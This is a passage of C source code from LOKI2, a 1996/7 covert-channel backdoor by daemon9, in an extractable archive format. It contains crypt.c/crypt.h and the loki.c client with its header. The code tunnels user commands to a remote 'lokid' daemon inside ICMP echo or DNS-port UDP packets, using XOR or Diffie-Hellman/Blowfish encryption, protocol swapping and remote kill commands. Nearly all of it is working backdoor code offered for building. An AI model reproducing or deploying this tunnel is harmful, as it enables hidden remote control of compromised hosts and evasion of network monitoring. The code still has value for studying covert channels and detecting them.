  880.                                          * right away; they are set when they
  881.                                          * are nabbed from the client list.
  882.                                          */
  883.     if (set_bf == OK)
  884.     { 
  885.         BF_set_key(&bf_key, BF_KEYSIZE, user_key);
  886.         return ((u_char *)NULL);
  887.     }
  888.     else return (strdup(user_key));
  889. }
  890. #endif
  891. #ifdef WEAK_CRYPTO
  892.  
  893. /*
  894.  *  Simple XOR obfuscation.
  895.  *
  896.  *  ( Syko was right -- the following didn't work under certain compilation 
  897.  *  environments...  Never write code in which the order of evaluation defines
  898.  *  the result.  See K&R page 53, at the bottom... )
  899.  *
  900.  *  if (!m) while (i < bs) t[i] ^= t[i++ +1];
  901.  *  else
  902.  *  {
  903.  *      i = bs;
  904.  *      while (i) t[i - 1] ^= t[i--];
  905.  *  }
  906.  * 
  907.  */
  908.  
  909. void blur(int m, int bs, u_char *t)
  910. {
  911.  
  912.     int i = 0;
  913.  
  914.     if (!m)
  915.     {                           /* Encrypt */
  916.         while (i < bs)
  917.         {
  918.             t[i] ^= t[i + 1];
  919.             i++;
  920.         }
  921.     }
  922.     else
  923.     {                           /* Decrypt */
  924.         i = bs;
  925.         while (i)
  926.         {
  927.             t[i - 1] ^= t[i];
  928.             i--;
  929.         }
  930.     }
  931. }
  932.  
  933. #endif
  934. #ifdef NO_CRYPTO
  935.  
  936. /*
  937.  *  No encryption
  938.  */
  939.  
  940. void blur(int m, int bs, u_char *t){}
  941.  
  942. #endif
  943.  
  944. /* EOF */
  945. <--> crypt.c
  946. <++> L2/crypt.h
  947. /*
  948.  * LOKI
  949.  *
  950.  * crypt header file
  951.  *
  952.  *  1996/7 Guild Corporation Productions    [daemon9]
  953.  */
  954.  
  955.  
  956. #ifdef STRONG_CRYPTO
  957. /* 384-bit strong prime */
  958.  
  959. u_char modulus[] = 
  960. {
  961.  
  962. 0xDA, 0xE1, 0x01, 0xCD, 0xD8, 0xC9, 0x70, 0xAF, 0xC2, 0xE4, 0xF2, 0x7A,
  963. 0x41, 0x8B, 0x43, 0x39, 0x52, 0x9B, 0x4B, 0x4D, 0xE5, 0x85, 0xF8, 0x49,
  964. 0x03, 0xA9, 0x66, 0x2C, 0xC0, 0x8A, 0xA6, 0x58, 0x3E, 0xCB, 0x72, 0x14,
  965. 0xA7, 0x75, 0xDB, 0x42, 0xFC, 0x3E, 0x4D, 0xDF, 0xB9, 0x24, 0xC8, 0xB3,
  966.  
  967. };
  968. #endif
  969. <--> crypt.h
  970. <++> L2/loki.c
  971. /*
  972.  * LOKI2
  973.  *
  974.  * [ loki.c ]
  975.  *
  976.  *  1996/7 Guild Corporation Worldwide      [daemon9]
  977.  */
  978.  
  979.  
  980. #include "loki.h"
  981.  
  982. jmp_buf env;
  983. struct loki sdg, rdg;
  984. int verbose     = OK, cflags = 0, ripsock = 0, tsock = 0;
  985. u_long p_read   = 0;                    /* packets read */
  986.  
  987.  
  988. #ifdef  STRONG_CRYPTO
  989. DH *dh_keypair = NULL;                  /* DH public and private keypair */
  990. extern u_short ivec_salt;
  991. #endif
  992.  
  993.  
  994. int main(int argc, char *argv[])
  995. {
  996.  
  997.     static int prot         = IPPROTO_ICMP, one = 1, c = 0;
  998. #ifdef  STRONG_CRYPTO
  999.     static int established  = 0, retran = 0;
  1000. #endif
  1001.     static u_short loki_id  = 0;
  1002.     int timer               = MIN_TIMEOUT;
  1003.     u_char buf[BUFSIZE]     = {0};
  1004.     struct protoent *pprot  = 0;
  1005.     struct sockaddr_in sin;
  1006.                                         /* Ensure we have proper permissions */
  1007.     if (getuid() || geteuid()) err_exit(1, 1, verbose, L_MSG_NOPRIV);
  1008.     loki_id = getpid();                 /* Allows us to individualize each  
  1009.                                          * same protocol loki client session
  1010.                                          * on a given host.  
  1011.                                          */
  1012.     bzero((struct sockaddr_in *)&sin, sizeof(sin));
  1013.     while ((c = getopt(argc, argv, "v:d:t:p:")) != EOF)
  1014.     {
  1015.         switch (c)
  1016.         {
  1017.             case 'v':                   /* change verbosity */
  1018.                 verbose = atoi(optarg);
  1019.                 break;
  1020.  
  1021.             case 'd':                   /* destination address of daemon */
  1022.                 strncpy(buf, optarg, BUFSIZE - 1);
  1023.                 sin.sin_family      = AF_INET;
  1024.                 sin.sin_addr.s_addr = name_resolve(buf);                 
  1025.                 break;
  1026.  
  1027.             case 't':                   /* change alarm timer */
  1028.                 if ((timer = atoi(optarg)) < MIN_TIMEOUT)
  1029.                      err_exit(1, 0, 1, "Invalid timeout.\n");
  1030.                 break;
  1031.                                         
  1032.             case 'p':                   /* select transport protocol */
  1033.                 switch (optarg[0])
  1034.                 {
  1035.                     case 'i':           /* ICMP_ECHO / ICMP_ECHOREPLY */
  1036.                         prot = IPPROTO_ICMP;
  1037.                         break;
  1038.  
  1039.                     case 'u':           /* DNS query / reply */
  1040.                         prot = IPPROTO_UDP;
  1041.                         break;
  1042.  
  1043.                     default:
  1044.                         err_exit(1, 0, verbose, "Unknown transport.\n");
  1045.                 }
  1046.                 break;
  1047.  
  1048.             default:
  1049.                 err_exit(0, 0, 1, C_MSG_USAGE);
  1050.         }
  1051.     }
  1052.                                         /* we need a destination address */
  1053.     if (!sin.sin_addr.s_addr) err_exit(0, 0, verbose, C_MSG_USAGE);
  1054.     if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0)
  1055.         err_exit(1, 1, 1, L_MSG_SOCKET);
  1056.  
  1057. #ifdef  STRONG_CRYPTO                   /* ICMP only with strong crypto */
  1058.     if (prot != IPPROTO_ICMP) err_exit(0, 0, verbose, L_MSG_ICMPONLY);
  1059. #endif
  1060.                                         /* Raw socket to build packets */
  1061.     if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  1062.          err_exit(1, 1, verbose, L_MSG_SOCKET);
  1063. #ifdef  DEBUG
  1064.     fprintf(stderr, "\nRaw IP socket: ");
  1065.     fd_status(ripsock, OK);
  1066. #endif
  1067.  
  1068. #ifdef  IP_HDRINCL
  1069.     if (setsockopt(ripsock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0)
  1070.         if (verbose) perror("Cannot set IP_HDRINCL socket option");
  1071. #endif
  1072.                                         /* register packet dumping function
  1073.                                          * to be called upon exit 
  1074.                                          */
  1075.     if (atexit(packets_read) == -1) err_exit(1, 1, verbose, L_MSG_ATEXIT);
  1076.  
  1077.     fprintf(stderr, L_MSG_BANNER);
  1078.     for (; ;)
  1079.     {
  1080. #ifdef  STRONG_CRYPTO
  1081.                                         /* Key negotiation phase.  Before we
  1082.                                          * can do anything, we need to share 
  1083.                                          * a secret with the server.  This
  1084.                                          * is our key management phase.  
  1085.                                          * After this is done, we are 
  1086.                                          * established.  We try MAX_RETRAN 
  1087.                                          * times to contact a  server.
  1088.                                          */
  1089.         if (!established)
  1090.         {                                    
  1091.                                         /* Generate the DH parameters and public
  1092.                                          * and private keypair
  1093.                                          */
  1094.             if (!dh_keypair)
  1095.             {
  1096.                 if (verbose) fprintf(stderr, "\nloki: %s", L_MSG_DHKEYGEN);
  1097.                 if (!(dh_keypair = generate_dh_keypair()))
  1098.                     err_exit(1, 0, verbose, L_MSG_DHKGFAIL);
  1099.             }
  1100.             if (verbose) fprintf(stderr, "\nloki: submiting our public key to server");
  1101.                                         /* convert the BIGNUM public key
  1102.                                          * into a big endian byte string
  1103.                                          */
  1104.             bzero((u_char *)buf, BUFSIZE);
  1105.             BN_bn2bin((BIGNUM *)dh_keypair -> pub_key, buf);
  1106.                                         /* Submit our key and request to
  1107.                                          * the server (in one packet)
  1108.                                          */
  1109.             if (verbose) fprintf(stderr, C_MSG_PKREQ);
  1110.             loki_xmit(buf, loki_id, prot, sin, L_PK_REQ);
  1111.         }
  1112.         else
  1113.         {
  1114. #endif
  1115.             bzero((u_char *)buf, BUFSIZE);
  1116.             fprintf(stderr, PROMPT);        /* prompt user for input */
  1117.             read(STDIN_FILENO, buf, BUFSIZE - 1);
  1118.             buf[strlen(buf)] = 0;
  1119.                                             /* Nothing to parse */
  1120.             if (buf[0] == '\n') continue;   /* Escaped command */
  1121.             if (buf[0] == '/') if ((!c_parse(buf, &timer))) continue;
  1122.                                         /* Send request to server */
  1123.             loki_xmit(buf, loki_id, prot, sin, L_REQ);
  1124. #ifdef  STRONG_CRYPTO
  1125.         }
  1126. #endif
  1127.                                         /* change transports */
  1128.         if (cflags & NEWTRANS)
  1129.         {
  1130.             close(tsock);
  1131.             prot = (prot == IPPROTO_UDP) ? IPPROTO_ICMP : IPPROTO_UDP;
  1132.             if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0)
  1133.                  err_exit(1, 1, verbose, L_MSG_SOCKET);
  1134.  
  1135.             pprot = getprotobynumber(prot);
  1136.             if (verbose) fprintf(stderr, "\nloki: Transport protocol changed to %s.\n", pprot -> p_name);
  1137.             cflags &= ~NEWTRANS;
  1138.             continue;
  1139.         }
  1140.         if (cflags & TERMINATE)         /* client should exit */
  1141.         {
  1142.             fprintf(stderr, "\nloki: clean exit\nroute [guild worldwide]\n");  
  1143.             clean_exit(0);
  1144.         }
  1145.                                         /* Clear TRAP and VALID PACKET flags */
  1146.         cflags &= (~TRAP & ~VALIDP);    
  1147.                                         /* set alarm singal handler */
  1148.         if (signal(SIGALRM, catch_timeout) == SIG_ERR)
  1149.             err_exit(1, 1, verbose, L_MSG_SIGALRM);
  1150.                                         /* returns true if we land here as the 
  1151.                                          * result of a longjmp() -- IOW the 
  1152.                                          * alarm timer went off
  1153.                                          */
  1154.         if (setjmp(env))
  1155.         {
  1156.             fprintf(stderr, "\nAlarm.\n%s", C_MSG_TIMEOUT);
  1157.             cflags |= TRAP;
  1158. #ifdef  STRONG_CRYPTO
  1159.             if (!established)           /* No connection established yet */
  1160.                 if (++retran == MAX_RETRAN) err_exit(1, 0, verbose, "[fatal] cannot contact server.  Giving up.\n");
  1161.                 else if (verbose) fprintf(stderr, "Resending...\n");
  1162. #endif
  1163.         }
  1164.         while (!(cflags & TRAP))
  1165.         {                               /* TRAP will not be set unless the 
  1166.                                          * alarm timer expires or we get
  1167.                                          * an EOT packet 
  1168.                                          */
  1169.            alarm(timer);                /* block until alarm or read */
  1170.  
  1171.            if ((c = read(tsock, (struct loki *)&rdg, LOKIP_SIZE)) < 0)
  1172.                 perror("[non fatal] network read error"); 
  1173.  
  1174.             switch (prot)
  1175.             {                           /* Is this a valid Loki packet? */
  1176.                 case IPPROTO_ICMP:
  1177.                     if ((IS_GOOD_ITYPE_C(rdg))) cflags |= VALIDP;
  1178.                     break;
  1179.  
  1180.                 case IPPROTO_UDP:
  1181.                     if ((IS_GOOD_UTYPE_C(rdg))) cflags |= VALIDP;
  1182.                     break;
  1183.  
  1184.                 default:
  1185.                     err_exit(1, 0, verbose, L_MSG_WIERDERR);
  1186.             }
  1187.             if (cflags & VALIDP)
  1188.             {
  1189. #ifdef  DEBUG
  1190.         fprintf(stderr, "\n[DEBUG]\t\tloki: packet read %d bytes, type: ", c);
  1191.         PACKET_TYPE(rdg);
  1192.         DUMP_PACKET(rdg, c);
  1193. #endif
  1194.                                         /* we have a valid packet and can
  1195.                                          * turn off the alarm timer
  1196.                                          */
  1197.                 alarm(0);
  1198.                 switch (rdg.payload[0]) /* determine packet type */
  1199.                 {
  1200.                     case L_REPLY :      /* standard reply packet */
  1201.                         bcopy(&rdg.payload[1], buf, BUFSIZE - 1);
  1202.                         blur(DECR, BUFSIZE - 1, buf);
  1203. #ifndef DEBUG
  1204.                         fprintf(stderr, "%s", buf);
  1205. #endif
  1206.                         p_read++;
  1207.                         break;
  1208.  
  1209.                     case L_EOT :        /* end of transmission packet */
  1210.                         cflags |= TRAP;
  1211.                         p_read++;
  1212.                         break;
  1213.  
  1214.                     case L_ERR :        /* error msg packet (not encrypted) */
  1215.                         bcopy(&rdg.payload[1], buf, BUFSIZE - 1);
  1216.                         fprintf(stderr, "%s", buf);
  1217. #ifdef  STRONG_CRYPTO
  1218.                                         /* If the connection is not established
  1219.                                          * we exit upon receipt of an error
  1220.                                          */
  1221.                         if (!established) clean_exit(1);
  1222. #endif
  1223.                         break;
  1224. #ifdef  STRONG_CRYPTO
  1225.                     case L_PK_REPLY :   /* public-key receipt */
  1226.                         if (verbose) fprintf(stderr, C_MSG_PKREC);
  1227.                                         /* compute DH key parameters */
  1228.                         DH_compute_key(buf, (void *)BN_bin2bn(&rdg.payload[1], BN2BIN_SIZE, NULL), dh_keypair);
  1229.                                         /* extract blowfish key from the
  1230.                                          * DH shared secret.  
  1231.                                          */
  1232.                         if (verbose) fprintf(stderr, C_MSG_SKSET);
  1233.                         extract_bf_key(buf, OK);
  1234.                         established = OK;
  1235.                         break;
  1236. #endif
  1237.                     case L_QUIT:        /* termination directive packet */
  1238.                         fprintf(stderr, C_MSG_MUSTQUIT);
  1239.                         clean_exit(0);
  1240.  
  1241.                     default :
  1242.                         fprintf(stderr, "\nUnknown LOKI packet type");
  1243.                         break;
  1244.                 }
  1245.                 cflags &= ~VALIDP;      /* reset VALID PACKET flag */
  1246.             }
  1247.         }
  1248.     }
  1249.     return (0);
  1250. }
  1251.  
  1252.  
  1253. /*
  1254.  *  Build and transmit Loki packets (client version)
  1255.  */
  1256.  
  1257. void loki_xmit(u_char *payload, u_short loki_id, int prot, struct sockaddr_in sin, int ptype)
  1258. {
  1259.  
  1260.     bzero((struct loki *)&sdg, LOKIP_SIZE);
  1261.                                         /* Encrypt and load payload, unless
  1262.                                          * we are doing key management
  1263.                                          */
  1264.     if (ptype != L_PK_REQ)
  1265.     {
  1266. #ifdef  STRONG_CRYPTO
  1267.         ivec_salt++;
  1268. #endif
  1269.         blur(ENCR, BUFSIZE - 1, payload);
  1270.     }
  1271.     bcopy(payload, &sdg.payload[1], BUFSIZE - 1);
  1272.  
  1273.     if (prot == IPPROTO_ICMP)
  1274.     {
  1275. #ifdef  NET3                                            /* Our workaround. */
  1276.         sdg.ttype.icmph.icmp_type   = ICMP_ECHOREPLY;
  1277. #else
  1278.         sdg.ttype.icmph.icmp_type   = ICMP_ECHO;
  1279. #endif
  1280.         sdg.ttype.icmph.icmp_code   = (int)NULL;
  1281.         sdg.ttype.icmph.icmp_id     = loki_id;          /* Session ID */
  1282.         sdg.ttype.icmph.icmp_seq    = L_TAG;            /* Loki ID */
  1283.         sdg.payload[0]              = ptype;
  1284.         sdg.ttype.icmph.icmp_cksum  = 
  1285.              i_check((u_short *)&sdg.ttype.icmph, BUFSIZE + ICMPH_SIZE);
  1286.     }
  1287.     if (prot == IPPROTO_UDP)
  1288.     {
  1289.         sdg.ttype.udph.uh_sport     = loki_id;
  1290.         sdg.ttype.udph.uh_dport     = NL_PORT;
  1291.         sdg.ttype.udph.uh_ulen      = htons(UDPH_SIZE + BUFSIZE);
  1292.         sdg.payload[0]              = ptype;
  1293.         sdg.ttype.udph.uh_sum       = 
  1294.              i_check((u_short *)&sdg.ttype.udph, BUFSIZE + UDPH_SIZE);
  1295.     }
  1296.     sdg.iph.ip_v    = 0x4;
  1297.     sdg.iph.ip_hl   = 0x5;
  1298.     sdg.iph.ip_len  = FIX_LEN(LOKIP_SIZE);
  1299.     sdg.iph.ip_ttl  = 0x40;
  1300.     sdg.iph.ip_p    = prot;
  1301.     sdg.iph.ip_dst  = sin.sin_addr.s_addr;
  1302.     
  1303.     if ((sendto(ripsock, (struct loki *)&sdg, LOKIP_SIZE, (int)NULL, (struct sockaddr *) &sin, sizeof(sin)) < LOKIP_SIZE))
  1304.     {
  1305.         if (verbose) perror("[non fatal] truncated write");
  1306.     }
  1307. }
  1308.  
  1309.  
  1310. /*
  1311.  *  help is here
  1312.  */
  1313.  
  1314. void help()
  1315. {
  1316.  
  1317.     fprintf(stderr,"
  1318.     %s\t\t-  you are here
  1319.     %s xx\t\t-  change alarm timeout to xx seconds (minimum of %d)
  1320.     %s\t\t-  query loki server for client statistics 
  1321.     %s\t\t-  query loki server for all client statistics 
  1322.     %s\t\t-  swap the transport protocol ( UDP <-> ICMP ) [in beta]
  1323.     %s\t\t-  quit the client
  1324.     %s\t\t-  quit this client and kill all other clients (and the server)
  1325.     %s dest\t\t-  proxy to another server    [ UNIMPLIMENTED ]
  1326.     %s dest\t-  redirect to another client [ UNIMPLIMENTED ]\n",
  1327.  
  1328.     HELP, TIMER, MIN_TIMEOUT, STAT_C, STAT_ALL, SWAP_T, QUIT_C, QUIT_ALL, PROXY_D, REDIR_C);
  1329. }
  1330.  
  1331.  
  1332. /*
  1333.  *  parse escaped commands
  1334.  */
  1335.  
  1336. int c_parse(u_char *buf, int *timer)
  1337. {
  1338.  
  1339.     cflags &= ~VALIDC;
  1340.                                         /* help */
  1341.     if (!strncmp(buf, HELP, sizeof(HELP) - 1) || buf[1] == '?')
  1342.     {
  1343.         help();
  1344.         return (NOK);
  1345.     }
  1346.                                         /* change alarm timer */
  1347.     else if (!strncmp(buf, TIMER, sizeof(TIMER) - 1))
  1348.     {
  1349.         cflags |= VALIDC;
  1350.         (*timer) = atoi(&buf[sizeof(TIMER) - 1]) > MIN_TIMEOUT ? atoi(&buf[sizeof(TIMER) - 1]) : MIN_TIMEOUT;
  1351.         fprintf(stderr, "\nloki: Alarm timer changed to %d seconds.", *timer);
  1352.         return (NOK);
  1353.     }
  1354.                                         /* Quit client, send notice to server */
  1355.     else if (!strncmp(buf, QUIT_C, sizeof(QUIT_C) - 1))
  1356.         cflags |= (TERMINATE | VALIDC);
  1357.                                         /* Quit client, send kill to server */
  1358.     else if (!strncmp(buf, QUIT_ALL, sizeof(QUIT_ALL) - 1))
  1359.         cflags |= (TERMINATE | VALIDC);
  1360.                                         /* Request server-side statistics */
  1361.     else if (!strncmp(buf, STAT_C, sizeof(STAT_C) - 1))
  1362.         cflags |= VALIDC;
  1363.                                         /* Swap transport protocols */
  1364.     else if (!strncmp(buf, SWAP_T, sizeof(SWAP_T) - 1))
  1365.     {
  1366.                                         /* When using strong crypto we do not
  1367.                                          * want to swap protocols.
  1368.                                          */
  1369. #ifdef  STRONG_CRYPTO
  1370.         fprintf(stderr, C_MSG_NOSWAP);
  1371.         return (NOK);
  1372. #elif   !(__linux__)
  1373.         fprintf(stderr, "\nloki: protocol swapping only supported in Linux\n");
  1374.         return (NOK);
  1375. #else
  1376.         cflags |= (NEWTRANS | VALIDC);
  1377. #endif
  1378.  
  1379.     }
  1380.                                         /* Request server to redirect output
  1381.                                          * to another LOKI client 
  1382.                                          */ 
  1383.     else if (!strncmp(buf, REDIR_C, sizeof(REDIR_C) - 1))
  1384.         cflags |= (REDIRECT | VALIDC);        
  1385.                                         /* Request server to simply proxy 
  1386.                                          * requests to another LOKI server
  1387.                                          */   
  1388.     else if (!strncmp(buf, PROXY_D, sizeof(PROXY_D) - 1))
  1389.         cflags |= (PROXY | VALIDC);        
  1390.  
  1391.                                         /* Bad command trap */
  1392.     if (!(cflags & VALIDC))
  1393.     {
  1394.         fprintf(stderr, "Unrecognized command %s\n",buf);
  1395.         return (NOK);
  1396.     }
  1397.  
  1398.     return (OK);  
  1399. }
  1400.  
  1401.  
  1402. /*
  1403.  *  Dumps packets read by client... 
  1404.  */
  1405.  
  1406. void packets_read()
  1407. {
  1408.     fprintf(stderr, "Packets read: %ld\n", p_read);
  1409. }
  1410.  
  1411. /* EOF */
  1412. <--> loki.c
  1413. <++> L2/loki.h
  1414. #ifndef  __LOKI_H__
  1415. #define  __LOKI_H__     
  1416.  
  1417. /*
  1418.  * LOKI
  1419.  *
  1420.  * loki header file
  1421.  *
  1422.  *  1996/7 Guild Corporation Productions    [daemon9]
  1423.  */
  1424.  
  1425.  
  1426. #include <stdio.h>
  1427. #include <stdlib.h>
  1428. #include <string.h>
  1429. #include <signal.h>
  1430. #include <pwd.h>
  1431. #include <unistd.h>
  1432. #include <netinet/in.h>
  1433. #include <arpa/inet.h>
  1434. #include <netdb.h>
  1435. #include <sys/socket.h>
  1436. #include <sys/ioctl.h>
  1437. #include <sys/stat.h>
  1438. #include <sys/wait.h>
  1439. #include <fcntl.h>
  1440. #include <time.h>
  1441. #include <grp.h>
  1442. #include <termios.h>
  1443. #include <sys/ipc.h>
  1444. #include <sys/sem.h>
  1445. #include <sys/shm.h>
  1446. #include <setjmp.h>
  1447.  
  1448. #ifdef LINUX
  1449. #include <linux/icmp.h>
  1450. #include <linux/ip.h>
  1451. #include <linux/signal.h>
  1452.                                     /* BSDish nomenclature */
  1453. #define ip          iphdr
  1454. #define ip_v        version
  1455. #define ip_hl       ihl
  1456. #define ip_len      tot_len
  1457. #define ip_ttl      ttl
  1458. #define ip_p        protocol
  1459. #define ip_dst      daddr
  1460. #define ip_src      saddr
  1461. #endif
  1462.  
  1463. #ifdef BSD4 
  1464. #include <netinet/in_systm.h>
  1465. #include <netinet/ip_var.h>
  1466. #include <netinet/ip.h> 
  1467. #include <netinet/tcp.h>
  1468. #include <netinet/tcpip.h>
  1469. #include <netinet/ip_icmp.h>
  1470. #include <netinet/icmp_var.h>
  1471. #include <sys/sockio.h>
  1472. #include <sys/termios.h>
  1473. #include <sys/signal.h>
  1474.  
  1475. #undef  icmp_id
  1476. #undef  icmp_seq
  1477. #define ip_dst      ip_dst.s_addr
  1478. #define ip_src      ip_src.s_addr
  1479. #endif
  1480.  
  1481. #ifdef SOLARIS
  1482. #include <netinet/in_systm.h>
  1483. #include <netinet/in.h>
  1484. #include <netinet/ip_var.h>
  1485. #include <netinet/ip.h> 
  1486. #include <netinet/tcp.h>
  1487. #include <netinet/tcpip.h>
  1488. #include <netinet/ip_icmp.h>
  1489. #include <netinet/icmp_var.h>
  1490. #include <sys/sockio.h>
  1491. #include <sys/termios.h>
  1492. #include <sys/signal.h>
  1493. #include <strings.h>
  1494. #include <unistd.h> 
  1495.  
  1496. #undef  icmp_id
  1497. #undef  icmp_seq
  1498. #define ip_dst      ip_dst.s_addr
  1499. #define ip_src      ip_src.s_addr
  1500. #endif
  1501.  
  1502. #ifdef BROKEN_IP_LEN 
  1503. #define FIX_LEN(n)  (x)         /* FreeBSD needs this  */
  1504. #else
  1505. #define FIX_LEN(n)  htons(n)
  1506. #endif
  1507.  
  1508.  
  1509. /*
  1510.  *  Net/3 will not pass ICMP_ECHO packets to user processes. 
  1511.  */
  1512.  
  1513. #ifdef NET3
  1514. #define D_P_TYPE    ICMP_ECHO
  1515. #define C_P_TYPE    ICMP_ECHOREPLY
  1516. #else
  1517. #define D_P_TYPE    ICMP_ECHOREPLY
  1518. #define C_P_TYPE    ICMP_ECHO
  1519. #endif
  1520.  
  1521. #ifdef STRONG_CRYPTO
  1522. #include "/usr/local/ssl/include/blowfish.h"
  1523. #include "/usr/local/ssl/include/bn.h"
  1524. #include "/usr/local/ssl/include/dh.h"
  1525. #include "/usr/local/ssl/include/buffer.h"
  1526.  
  1527. #define BF_KEYSIZE      16  /* blowfish key in bytes                    */
  1528. #define IVEC_SIZE       7   /* I grabbed this outta thin air.           */
  1529. #define BN2BIN_SIZE     48  /* bn2bin byte-size of 384-bit prime        */
  1530. #endif
  1531.  
  1532. #ifdef  STRONG_CRYPTO
  1533. #define CRYPTO_TYPE "blowfish"
  1534. #endif
  1535. #ifdef  WEAK_CRYPTO
  1536. #define CRYPTO_TYPE "XOR"
  1537. #endif
  1538. #ifdef  NO_CRYPTO 
  1539. #define CRYPTO_TYPE "none"
  1540. #endif
  1541.  
  1542.  
  1543. /* Start user configurable options */
  1544.  
  1545. #define MIN_TIMEOUT 3       /* minimum client-side alarm timeout        */
  1546. #define MAX_RETRAN  3       /* maximum client-side timeout/retry amount */
  1547. #define MAX_CLIENT  0xa     /* maximum server-side client count         */
  1548. #define KEY_TIMER   0xe10   /* maximum server-side idle client TTL      */
  1549.  
  1550. /* End user configurable options */
  1551.  
  1552.  
  1553.  
  1554. #define VERSION     "2.0"
  1555. #define BUFSIZE     0x38    /* We build packets with a fixed payload. 
  1556.                              * Fine for ICMP_ECHO/ECHOREPLY packets as they
  1557.                              * often default to a 56 byte payload.  However
  1558.                              * DNS query/reply packets have no set size and
  1559.                              * are generally oddly sized with no padding.
  1560.                              */
  1561.  
  1562. #define ICMPH_SIZE  8
  1563. #define UDPH_SIZE   8
  1564. #define NL_PORT     htons(0x35)
  1565.  
  1566. #define PROMPT      "loki> "
  1567. #define ENCR        1       /* symbolic for encrypt             */
  1568. #define DECR        0       /* symbolic for decrypt             */
  1569. #define NOCR        1       /* don't encrypt this packet        */
  1570. #define OKCR        0       /* encrypt this packet              */
  1571. #define OK          1       /* Positive acknowledgement         */
  1572. #define NOK         0       /* Negative acknowledgement         */
  1573. #define NNOK        -1      /* Really negative acknowledgement  */
  1574. #define FIND        1       /* Controls locate_client           */
  1575. #define DESTROY     2       /*  disposition                     */
  1576.  
  1577. /*  LOKI packet type symbolics */
  1578.  
  1579. #define L_TAG       0xf001  /* Tags packets as LOKI             */
  1580. #define L_PK_REQ    0xa1    /* Public Key request packet        */
  1581. #define L_PK_REPLY  0xa2    /* Public Key reply packet          */
  1582. #define L_EOK       0xa3    /* Encrypted ok                     */
  1583. #define L_REQ       0xb1    /* Standard reuqest packet          */
  1584. #define L_REPLY     0xb2    /* Standard reply packet            */
  1585. #define L_ERR       0xc1    /* Error of some kind               */
  1586. #define L_ACK       0xd1    /* Acknowledgement                  */
  1587. #define L_QUIT      0xd2    /* Receiver should exit             */
  1588. #define L_EOT       0xf1    /* End Of Transmission packet       */
  1589.  
  1590. /*  Packet type printing macro */
  1591.  
  1592. #ifdef DEBUG
  1593. #define PACKET_TYPE(ldg)\
  1594. \
  1595. if      (ldg.payload[0]   == 0xa1) fprintf(stderr, "Public Key Request");  \
  1596. else if (ldg.payload[0]   == 0xa2) fprintf(stderr, "Public Key Reply");    \
  1597. else if (ldg.payload[0]   == 0xa3) fprintf(stderr, "Encrypted OK");        \
  1598. else if (ldg.payload[0]   == 0xb1) fprintf(stderr, "Client Request");      \
  1599. else if (ldg.payload[0]   == 0xb2) fprintf(stderr, "Server Reply");        \
  1600. else if (ldg.payload[0]   == 0xc1) fprintf(stderr, "Error");               \
  1601. else if (ldg.payload[0]   == 0xd1) fprintf(stderr, "ACK");                 \
  1602. else if (ldg.payload[0]   == 0xd2) fprintf(stderr, "QUIT");                \
  1603. else if (ldg.payload[0]   == 0xf1) fprintf(stderr, "Server EOT");          \
  1604. else                               fprintf(stderr, "Unknown");             \
  1605. if      (prot == IPPROTO_ICMP)     fprintf(stderr, ", ICMP type: %d\n", ldg.ttype.icmph.icmp_type);\
  1606. else                               fprintf(stderr, "\n");\
  1607.  
  1608. #define DUMP_PACKET(ldg, i)\
  1609. \
  1610. for (i = 0; i < BUFSIZE; i++)      fprintf(stderr, "0x%x ",ldg.payload[i]); \
  1611. fprintf(stderr, "\n");\
  1612.  
  1613. #endif
  1614.  
  1615.  
  1616. /*  
  1617.  *  Escaped commands (not interpreted by the shell)
  1618.  */
  1619.  
  1620. #define HELP        "/help"         /* Help me                      */
  1621. #define TIMER       "/timer"        /* Change the client side timer */
  1622. #define QUIT_C      "/quit"         /* Quit the client              */
  1623. #define QUIT_ALL    "/quit all"     /* Kill all clients and server  */
  1624. #define STAT_C      "/stat"         /* Stat the client              */
  1625. #define STAT_ALL    "/stat all"     /* Stat all the clients         */
  1626. #define SWAP_T      "/swapt"        /* Swap protocols               */
  1627. #define REDIR_C     "/redirect"     /* Redirect to another client   */
  1628. #define PROXY_D     "/proxy"        /* Proxy to another server      */
  1629.  
  1630. /*
  1631.  *  Control flag symbolics 
  1632.  */
  1633.  
  1634. #define TERMINATE   0x01
  1635. #define TRAP        0x02
  1636. #define VALIDC      0x04
  1637. #define VALIDP      0x08
  1638. #define NEWTRANS    0x10
  1639. #define REDIRECT    0x20
  1640. #define PROXY       0x40
  1641. #define SENDKILL    0x80
  1642.  
  1643.  
  1644. /*
  1645.  *  Message Strings
  1646.  *  L_ == common to both server and client
  1647.  *  S_ == specific to server
  1648.  *  C_ == specific to client
  1649.  */
  1650.  
  1651. #define L_MSG_BANNER    "\nLOKI2\troute [(c) 1997 guild corporation worldwide]\n"
  1652. #define L_MSG_NOPRIV    "\n[fatal] invalid user identification value"
  1653. #define L_MSG_SOCKET    "[fatal] socket allocation error"
  1654. #define L_MSG_ICMPONLY  "\nICMP protocol only with strong cryptography\n"
  1655. #define L_MSG_ATEXIT    "[fatal] cannot register with atexit(2)"
  1656. #define L_MSG_DHKEYGEN  "generating Diffie-Hellman parameters and keypair"
  1657. #define L_MSG_DHKGFAIL  "\n[fatal] Diffie-Hellman key generation failure\n"
  1658. #define L_MSG_SIGALRM   "[fatal] cannot catch SIGALRM"
  1659. #define L_MSG_SIGUSR1   "[fatal] cannot catch SIGUSR1"
  1660. #define L_MSG_SIGCHLD   "[fatal] cannot catch SIGCHLD"
  1661. #define L_MSG_WIERDERR  "\n[SUPER fatal] control should NEVER fall here\n"
  1662. #define S_MSG_PACKED    "\nlokid: server is currently at capacity.  Try again later\n"
  1663. #define S_MSG_UNKNOWN   "\nlokid: cannot locate client entry in database\n"
  1664. #define S_MSG_UNSUP     "\nlokid: unsupported or unknown command string\n"
  1665. #define S_MSG_ICMPONLY  "\nlokid: ICMP protocol only with strong cryptography\n"
  1666. #define S_MSG_CLIENTK   "\nlokid: clean exit (killed at client request)\n"
  1667. #define S_MSG_DUP       "\nlokid: duplicate client entry found, updating\n" 
  1668. #define S_MSG_USAGE     "\nlokid -p (i|u) [ -v (0|1) ]\n"
  1669. #define C_MSG_USAGE     "\nloki -d dest -p (i|u) [ -v (0|1) ] [ -t (n>3) ]\n"
  1670. #define C_MSG_TIMEOUT   "\nloki: no response from server (expired timer)\n"
  1671. #define C_MSG_NOSWAP    "\nloki: cannot swap protocols with strong crypto\n"
  1672. #define C_MSG_PKREQ     "loki: requesting public from server\n" 
